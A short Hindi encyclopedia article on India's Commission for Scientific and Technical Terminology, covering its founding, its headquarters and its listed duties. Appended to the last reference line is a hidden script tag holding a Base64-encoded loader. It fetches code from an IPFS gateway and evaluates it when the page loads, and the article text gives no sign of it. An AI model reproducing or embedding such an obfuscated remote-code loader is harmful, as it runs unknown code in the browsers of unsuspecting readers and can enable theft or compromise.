वैज्ञानिक और तकनीकी शब्दावली आयोग

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वैज्ञानिक और तकनीकी शब्दावली आयोग संक्षिप्त नाम- वै.त.श.आयोग (अंग्रेज़ी: Commission for Scientific and Technical Terminology or CSTT) हिंदी और अन्य सभी भारतीय भाषाओं के वैज्ञानिक और तकनीकी शब्दों को परिभाषित एवं नए शब्दों का विकास करता है। यह आयोग भारत के मानव संसाधन विकास मंत्रालय के अधीन कार्यरत है।

स्थापना

सभी भारतीय भाषाओं के लिए पारिभाषिक शब्दावली के विकास के उद्देश्य से महामहिम राष्ट्रपति महोदय ने एक समिति की संस्तुति के आधार पर 27 अप्रैल, 1960 को एक स्थायी आयोग के गठन का आदेश दिया, जिसके अनुसरण में भारतीय संविधान के अनुच्छेद 344 के खंड (4) के उपबंधों के अधीन, 1 अक्टूबर, 1961 को भारत सरकार द्वारा वैज्ञानिक तथा तकनीकी शब्दावली आयोग की स्थापना की गई। इस शब्दावली आयोग का मुख्य कार्य मानक शब्दावली विकसित करना तथा उसका प्रयोग, वितरण एवं प्रचार करना है।

मुख्यालय

वैज्ञानिक एवं तकनीकी शब्दावली विकसित करने में राज्य सरकारों, विश्वविद्यालयों, क्षेत्रीय पाठ्य पुस्तक बोर्डों तथा राज्य अकादमियों के सहयोग से हिंदी तथा अन्य भारतीय भाषाओं में संदर्भ ग्रंथों/सामग्री का विकास भी सम्मिलित है। वर्तमान में वैज्ञानिक और तकनीकी शब्दावली आयोग उच्च शिक्षा विभाग, भारत सरकार के मानव संसाधन विकास मंत्रालय के अधीन कार्यरत है, जिसका मुख्यालय नई दिल्ली में स्थित है और यह 22 राज्य ग्रंथ अकादमियों/राजकीय पाठ्य-पुस्तक मंडलों, विश्वविद्यालय इकाइयों के सहयोग से कार्य करता है।[1]

कर्तव्य और कार्य

आयोग के प्रमुख कार्य एवं कर्तव्य निम्नवत हैं-

  1. हिंदी तथा अन्य सभी भारतीय भाषाओं के लिए वैज्ञानिक व तकनीकी शब्दों का पारिभाषिक संवर्धन करना तथा पारिभाषिक कोशों, शब्द कोशों तथा विश्वकोशों का प्रकाशन करना।
  2. आयोग द्वारा विकसित मानक शब्दावली व परिभाषाओं का छात्रों, अध्यापकों, शोधकर्ताओं, वैज्ञानिक तथा अधिकारियों तक पहुँचना सुनिश्चित करना।
  3. कार्यशालाओं, प्रशिक्षण कार्यक्रमों, अभिविन्यास कार्यक्रमों तथा संगोष्ठियों के माध्यम से उपयोगी फीड बैक प्राप्त करना और शब्दावली में उचित प्रयोग/आवश्यक अद्यतनीकरण/संशोधन/सुधार सुनिश्चित करना।
  4. हिंदी तथा अन्य भाषाओं में तकनीकी लेखन को प्रोत्साहित करने के लिए वैज्ञानिक व तकनीकी विषयों की संगोष्ठियों/परिसंवाद कार्यक्रमों व सम्मेलनों को प्रायोजित करना।
  5. राज्य सरकारों, ग्रंथ अकादमियों, विश्वविद्यालय कोशों/शब्द-संग्रह क्लबों तथा अन्य अभिकरणों के माध्यम से; सभी राज्यों के मध्य समन्वयन स्थापित करते हुए, हिंदी तथा अन्य भारतीय भाषाओं की शब्दावली में एकरूपता स्थापित करना।
  6. मानक शब्दावली के प्रयोग तथा लोकप्रियता को बढ़ाने के लिए, हिंदी तथा अन्य भारतीय भाषाओं में पुस्तकों के प्रकाशन को प्रोत्साहित करना।
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टीका टिप्पणी और संदर्भ

  1. वैज्ञानिक और तकनीकी शब्दावली आयोग (हिंदी) csttpublication.mhrd.gov.in। अभिगमन तिथि: 22 मार्च, 2020।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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